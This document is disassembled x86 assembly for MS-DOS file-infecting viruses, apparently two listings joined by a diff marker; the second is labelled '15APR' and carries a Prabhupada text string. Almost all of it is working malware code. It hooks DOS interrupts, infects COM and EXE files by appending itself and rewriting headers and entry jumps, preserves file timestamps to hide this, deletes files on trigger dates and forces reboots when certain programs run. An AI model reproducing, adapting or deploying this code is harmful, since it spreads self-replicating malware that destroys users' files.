xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
push ax
add ax,10h
and ax,0FFF0h
push ax
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
shr ax,1 ; Shift w/zeros fill
mov di,31Fh
stosw ; Store ax to es:[di]
pop ax
pop bx
sub ax,bx
mov cx,627h
add cx,ax
mov dx,100h
sub dx,ax
mov bx,ds:data_1e
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
mov bx,ds:data_1e
mov cx,0Ch
mov dx,31Bh
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
mov bx,ds:data_1e
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_3 endp
db 0Eh, 8Ch, 0C8h, 5, 1, 0
db 50h, 0B8h, 0, 1, 50h, 0CBh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov al,45h ; 'E'
mov byte ptr ds:[724h],al
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
mov data_34,al
mov dx,219h
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jnc loc_13 ; Jump if carry=0
retn
loc_13:
mov data_26,ax
mov dx,10Bh
mov bx,data_26
mov cx,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ax,4202h
mov cx,0
mov dx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
push ax
add ax,10h
adc dx,0
and ax,0FFF0h
mov data_24,dx
mov data_25,ax
mov cx,727h
sub cx,100h
add ax,cx
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
inc ax
mov data_16,ax
mov data_15,dx
mov ax,data_21
mov data_22,ax
mov ax,data_20
mov data_23,ax
mov ax,data_18
mov data_29,ax
mov ax,data_19
mov data_30,ax
mov dx,data_24
mov ax,data_25
mov cx,10h
div cx ; ax,dx rem=dx:ax/reg
sub ax,10h
sub ax,data_17
mov data_21,ax
mov data_18,ax
mov data_20,100h
mov data_19,100h
mov ax,4200h
xor cx,cx ; Zero register
mov dx,2
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,10Dh
mov bx,data_26
mov cx,16h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,100h
mov ax,data_25
pop cx
sub ax,cx
sub dx,ax
mov cx,727h
add cx,ax
sub cx,100h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_4 endp
db 51h, 0B9h, 0, 0, 0B4h, 4Eh
db 0CDh, 21h, 59h, 0C3h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
push es
mov ax,351Ch
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov cs:data_13,bx
mov cs:data_14,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
push es
pop ax
mov cs:data_12,ax
mov cs:data_11,bx
pop es
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
push ax
push es
push ds
xor ax,ax ; Zero register
mov es,ax
mov si,86h
mov ax,es:[si]
mov ds,ax
mov si,725h
cmp word ptr [si],0A0Ch
jne loc_14 ; Jump if not equal
push ds
pop ax
call sub_13 ; (0611)
pop ds
pop es
pop ax
retn
loc_14:
push cs
pop ds
mov ax,data_31
dec ax
mov es,ax
cmp byte ptr es:[0],5Ah ; 'Z'
je loc_15 ; Jump if equal
jmp short loc_16 ; (04B4)
db 90h
loc_15:
mov ax,es:data_9e
mov cx,737h
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
sub ax,cx
jc loc_16 ; Jump if carry Set
mov es:data_9e,ax
sub es:data_10e,cx
push cs
pop ds
mov ax,es:data_10e
push ax
pop es
mov si,100h
push si
pop di
mov cx,627h
cld ; Clear direction
repne movsb ; Rep while cx>0 Mov [si] to es:[di]
push es
sub ax,ax
mov es,ax
mov si,84h
mov dx,4A8h
mov es:[si],dx
inc si
inc si
pop ax
mov es:[si],ax
loc_16:
pop ds
pop es
pop ax
retn
sub_6 endp
db 3Ch, 57h, 75h, 3, 0EBh, 1Eh
db 90h, 80h, 0FCh, 1Ah, 75h, 6
db 0E8h, 17h, 1, 0EBh, 13h, 90h
loc_17:
cmp ah,11h
jne loc_18 ; Jump if not equal
call sub_7 ; (04E1)
iret ; Interrupt return
loc_18:
cmp ah,12h
jne loc_19 ; Jump if not equal
call sub_10 ; (059C)
iret ; Interrupt return
loc_19:
jmp dword ptr cs:data_11
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
mov byte ptr cs:data_35,0
nop
call sub_8 ; (0514)
jnz loc_20 ; Jump if not zero
call sub_2 ; (023D)
jz loc_20 ; Jump if zero
call sub_15 ; (065A)
dec byte ptr ds:data_6e
loc_20:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push cs
pop es
push cs
pop es
cld ; Clear direction
call sub_9 ; (0552)
jnc loc_21 ; Jump if carry=0
cmp di,0
retn
loc_21:
mov di,219h
mov al,2Eh ; '.'
mov cx,0Bh
repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al
cmp word ptr [di],4F43h
jne loc_22 ; Jump if not equal
cmp byte ptr [di+2],4Dh ; 'M'
jne loc_22 ; Jump if not equal
mov byte ptr ds:[724h],43h ; 'C'
nop
retn
loc_22:
cmp word ptr [di],5845h
jne loc_ret_23 ; Jump if not equal
cmp byte ptr [di+2],45h ; 'E'
jne loc_ret_23 ; Jump if not equal
mov byte ptr ds:[724h],45h ; 'E'
nop
loc_ret_23:
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
loc_24:
push ds
mov si,cs:data_27
mov ax,cs:data_28
mov ds,ax
mov di,219h
lodsb ; String [si] to al
cmp al,0FFh
jne loc_25 ; Jump if not equal
add si,6
lodsb ; String [si] to al
jmp short loc_26 ; (0574)
db 90h
loc_25:
cmp al,5
jb loc_26 ; Jump if below
pop ds
stc ; Set carry flag
retn
loc_26:
mov cx,0Bh
cmp al,0
je locloop_27 ; Jump if equal
add al,40h ; '@'
stosb ; Store al to es:[di]
mov al,3Ah ; ':'
stosb ; Store al to es:[di]
locloop_27:
lodsb ; String [si] to al
cmp al,20h ; ' '
je loc_28 ; Jump if equal
stosb ; Store al to es:[di]
jmp short loc_29 ; (0594)
db 90h
loc_28:
cmp byte ptr es:[di-1],2Eh ; '.'
je loc_29 ; Jump if equal
mov al,2Eh ; '.'
stosb ; Store al to es:[di]
loc_29:
loop locloop_27 ; Loop if cx > 0
mov al,0
stosb ; Store al to es:[di]
pop ds
clc ; Clear carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
mov al,57h ; 'W'
int 21h ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds
push cs
pop es
cmp byte ptr cs:data_35,0
je loc_30 ; Jump if equal
jmp short loc_31 ; (05D3)
db 90h
loc_30:
call sub_8 ; (0514)
jnz loc_31 ; Jump if not zero
call sub_2 ; (023D)
jz loc_31 ; Jump if zero
call sub_15 ; (065A)
dec byte ptr ds:data_6e
pop es
pop ds
pop di
pop si
data_35 db 5Dh
db 5Bh, 5Ah, 59h, 58h, 0C3h
loc_31:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
sub_10 endp
db 0
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push ax
push ds
pop ax
mov cs:data_28,ax
mov cs:data_27,dx
pop ax
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
push cs
mov al,0
out 20h,al ; port 20h, 8259-1 int command
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_3e,bx
mov bx,es
mov ds:data_2e,bx
pop es
mov si,20Ah
mov di,219h
mov cx,0Fh
locloop_32:
lodsb ; String [si] to al
add al,20h ; ' '
stosb ; Store al to es:[di]
loop locloop_32 ; Loop if cx > 0
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push ax
push cs
pop ds
push cs
pop es
mov bl,data_34
cmp bl,0Ch
ja loc_34 ; Jump if above
cmp bl,0
je loc_34 ; Jump if equal
mov al,8
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 8, month register
in al,71h ; port 71h, RTC clock/RAM data
cmp al,0Ch
ja loc_34 ; Jump if above
cmp al,0
je loc_34 ; Jump if equal
cmp al,bl
je loc_34 ; Jump if equal
inc bl
call sub_14 ; (064F)
cmp al,bl
je loc_34 ; Jump if equal
inc bl
call sub_14 ; (064F)
cmp al,bl
je loc_34 ; Jump if equal
pop ds
call sub_16 ; (0686)
push cs
pop ds
retn
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_14:
cmp bl,0Ch
jbe loc_ret_33 ; Jump if below or =
sub bl,0Ch
loc_ret_33:
retn
loc_34:
pop ax
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov dx,673h
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
cmp byte ptr ds:[724h],43h ; 'C'
jne loc_35 ; Jump if not equal
call sub_3 ; (02AE)
jmp short loc_36 ; (0672)
db 90h
loc_35:
call sub_4 ; (0337)
loc_36:
push ds
sub_15 endp
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; External Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
int_24h_entry proc far
mov dx,data_33
mov ax,data_32
mov ds,ax
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
int_24h_entry endp
db 0B0h, 3, 0CFh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
mov dx,6B0h
mov ax,251Ch
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov byte ptr ds:data_8e,90h
nop
mov ax,0B800h
mov es,ax
data_36 db 0BFh
data_37 dw 0FA0h
db 0B8h, 20h, 7, 0B9h, 0Bh, 0
db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0
db 0, 0, 20h, 7, 0Fh
db 0Ah
data_38 db 0Fh
db 0Ah
data_39 db 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h
db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h
db 51h, 52h, 53h, 55h, 56h, 57h
db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh
db 90h
loc_37:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
iret ; Interrupt return
sub_16 endp
db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h
db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h
db 16h, 0, 0F2h, 0A4h, 80h, 3Eh
db 0AEh, 6, 0EEh, 74h, 8, 0C6h
db 6, 0AEh, 6, 0EEh, 0EBh, 6
db 90h
loc_38:
mov data_38,0F0h
loc_39:
mov ax,es:[di]
mov ah,0Eh
mov data_37,ax
mov data_36,0
jmp short loc_37 ; (06D0)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
mov di,0
loc_40:
mov si,69Ch
push di
mov cx,12h
cld ; Clear direction
repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di]
pop di
jz loc_41 ; Jump if zero
inc di
inc di
cmp di,0FA0h
jne loc_40 ; Jump if not equal
mov di,0
loc_41:
cmp di,0F9Eh
jne loc_ret_42 ; Jump if not equal
mov data_39,0CFh
loc_ret_42:
retn
sub_17 endp
db 43h, 0Ch, 0Ah
seg_a ends
end start
@@ -0,0 +1,679 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ 15APR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 4-Mar-91 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 4Ch ; (0000:004C=31h)
data_2e equ 4Eh ; (0000:004E=70h)
data_3e equ 84h ; (0000:0084=0E3h)
data_4e equ 86h ; (0000:0086=161Ah)
data_5e equ 90h ; (0000:0090=8Eh)
data_6e equ 92h ; (0000:0092=1498h)
data_7e equ 102h ; (0000:0102=0CC00h)
data_8e equ 106h ; (0000:0106=326h)
data_9e equ 47Bh ; (0000:047B=0)
data_10e equ 0 ; (0326:0000=6A7h)
data_11e equ 2 ; (0326:0002=70h)
data_12e equ 0 ; (0691:0000=0C9h)
data_13e equ 1 ; (0692:0001=0D217h)
data_14e equ 2 ; (06E3:0002=2342h)
data_15e equ 6 ; (06E3:0006=2344h)
data_32e equ 0FC99h ; (701E:FC99=0)
data_33e equ 0FC9Bh ; (701E:FC9B=0)
data_34e equ 0FCB7h ; (701E:FCB7=0)
data_35e equ 0FCB9h ; (701E:FCB9=0)
data_36e equ 0FCBBh ; (701E:FCBB=0)
data_37e equ 0FCC5h ; (701E:FCC5=0)
data_38e equ 0FCC7h ; (701E:FCC7=0)
data_39e equ 0FCCDh ; (701E:FCCD=0)
data_40e equ 0FCCFh ; (701E:FCCF=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
b15apr proc far
start:
data_16 dw 63E9h
data_17 dw 0C303h
db 23 dup (0C3h)
db 2Ah, 2Eh, 45h, 58h, 45h, 0
data_19 dw 0C3C3h
data_20 dw 0C3C3h
data_21 dw 0
data_22 dw 0
data_23 dw 0
data_24 dw 0
data_25 dw 0
data_26 dd 00000h
data_27 dw 0
data_28 dw 0
data_29 dd 00000h
data_30 dw 0
data_31 dw 0
db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
db 'ta Swami Prabhupada (1896-1977)', 0Ah
db 0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U'
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
db 3Dh, 0, 6Ch, 75h, 5, 80h
db 0FBh, 0, 74h, 3
loc_1:
jmp loc_15
loc_2:
push es
push ds
push di
push si
push bp
push dx
push cx
push bx
push ax
call sub_6
call sub_7
cmp ax,6C00h
jne loc_3 ; Jump if not equal
mov dx,si
loc_3:
mov cx,80h
mov si,dx
locloop_4:
inc si
mov al,[si]
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
sub si,2
cmp word ptr [si],4D4Fh
je loc_7 ; Jump if equal
cmp word ptr [si],4558h
je loc_6 ; Jump if equal
loc_5:
jmp short loc_14
db 90h
loc_6:
cmp word ptr [si-4],4E41h
je loc_8 ; Jump if equal
cmp word ptr [si-4],444Ch
je loc_8 ; Jump if equal
cmp word ptr [si-4],4A52h
je loc_8 ; Jump if equal
jnz loc_9 ; Jump if not zero
loc_7:
cmp word ptr [si-4],444Eh
je loc_5 ; Jump if equal
jnz loc_10 ; Jump if not zero
loc_8:
int 19h ; Bootstrap loader
loc_9:
jz loc_10 ; Jump if zero
loc_10:
mov ax,3D02h
call sub_5
jc loc_14 ; Jump if carry Set
mov bx,ax
mov ax,5700h
call sub_5
mov cs:data_22,cx ; (701E:0127=0)
mov cs:data_23,dx ; (701E:0129=0)
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
push cs
pop ds
mov dx,103h
mov si,dx
mov cx,18h
mov ah,3Fh ; '?'
call sub_5
jc loc_12 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_11 ; Jump if not equal
call sub_1
jmp short loc_12
loc_11:
call sub_4
loc_12:
jc loc_13 ; Jump if carry Set
mov ax,5701h
mov cx,cs:data_22 ; (701E:0127=0)
mov dx,cs:data_23 ; (701E:0129=0)
call sub_5
loc_13:
mov ah,3Eh ; '>'
call sub_5
loc_14:
call sub_7
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
loc_15:
jmp cs:data_26 ; (701E:012F=0)
b15apr endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp dh,4
je loc_16 ; Jump if equal
jnz loc_17 ; Jump if not zero
loc_16:
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp dl,0Fh
je loc_18 ; Jump if equal
jnz loc_17 ; Jump if not zero
loc_17:
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp dx,0
jne loc_19 ; Jump if not equal
cmp ax,4E2h
jae loc_19 ; Jump if above or =
pop ax
pop dx
stc ; Set carry flag
ret
loc_18:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 15h ; General services, ah=func 3Dh
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp loc_25
db 0BAh, 3Fh, 1, 0B4h, 9, 0CDh
db 21h, 0EBh, 1, 90h
loc_19:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_22 ; Jump if equal
cmp dx,0
jne loc_20 ; Jump if not equal
cmp ax,4E2h
jne loc_20 ; Jump if not equal
stc ; Set carry flag
ret
loc_20:
mov dx,bp
mov ax,di
push dx
push ax
add ax,4E2h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
les di,dword ptr [si+2] ; Load 32 bit ptr
mov cs:data_24,di ; (701E:012B=0)
mov cs:data_25,es ; (701E:012D=0)
mov [si+2],dx
cmp dx,0
je loc_21 ; Jump if equal
inc ax
loc_21:
mov [si+4],ax
pop ax
pop dx
call sub_2
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_19,di ; (701E:0121=0C3C3h)
mov data_20,es ; (701E:0123=0C3C3h)
mov [si+14h],dx
mov [si+16h],ax
mov word ptr data_21,ax ; (701E:0125=0)
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
call sub_3
jc loc_ret_22 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
mov ah,40h ; '@'
mov dx,si
mov cx,18h
call sub_5
loc_ret_22:
ret
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_2:
mov cx,4
mov di,ax
and di,0Fh
locloop_23:
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
loop locloop_23 ; Loop if cx > 0
mov dx,di
ret
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_3:
mov ah,40h ; '@'
mov cx,4E2h
mov dx,100h
call sub_6
jmp short loc_29
db 90h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_4:
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dx=mon/day
cmp al,6
je loc_24 ; Jump if equal
jnz loc_25 ; Jump if not zero
loc_24:
mov dx,10h
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA to ds:dx
mov dx,11Bh
mov cx,110Bh
mov ah,4Eh ; 'N'
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov dx,2Eh
mov ax,3D02h
int 15h ; General services, ah=func 3Dh
mov ah,41h ; 'A'
int 21h ; DOS Services ah=function 41h
; delete file, name @ ds:dx
jmp short loc_25
db 90h
loc_25:
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
cmp ax,4E2h
jb loc_ret_28 ; Jump if below
cmp ax,0FA00h
jae loc_ret_28 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_26 ; Jump if not equal
sub ax,4E5h
cmp ax,[si+1]
jne loc_26 ; Jump if not equal
pop ax
stc ; Set carry flag
ret
loc_26:
call sub_3
jnc loc_27 ; Jump if carry=0
pop ax
ret
loc_27:
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_5
pop ax
sub ax,3
mov dx,121h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
call sub_5
loc_ret_28:
ret
sub_1 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
loc_29:
pushf ; Push flags
call cs:data_26 ; (701E:012F=0)
ret
sub_5 endp
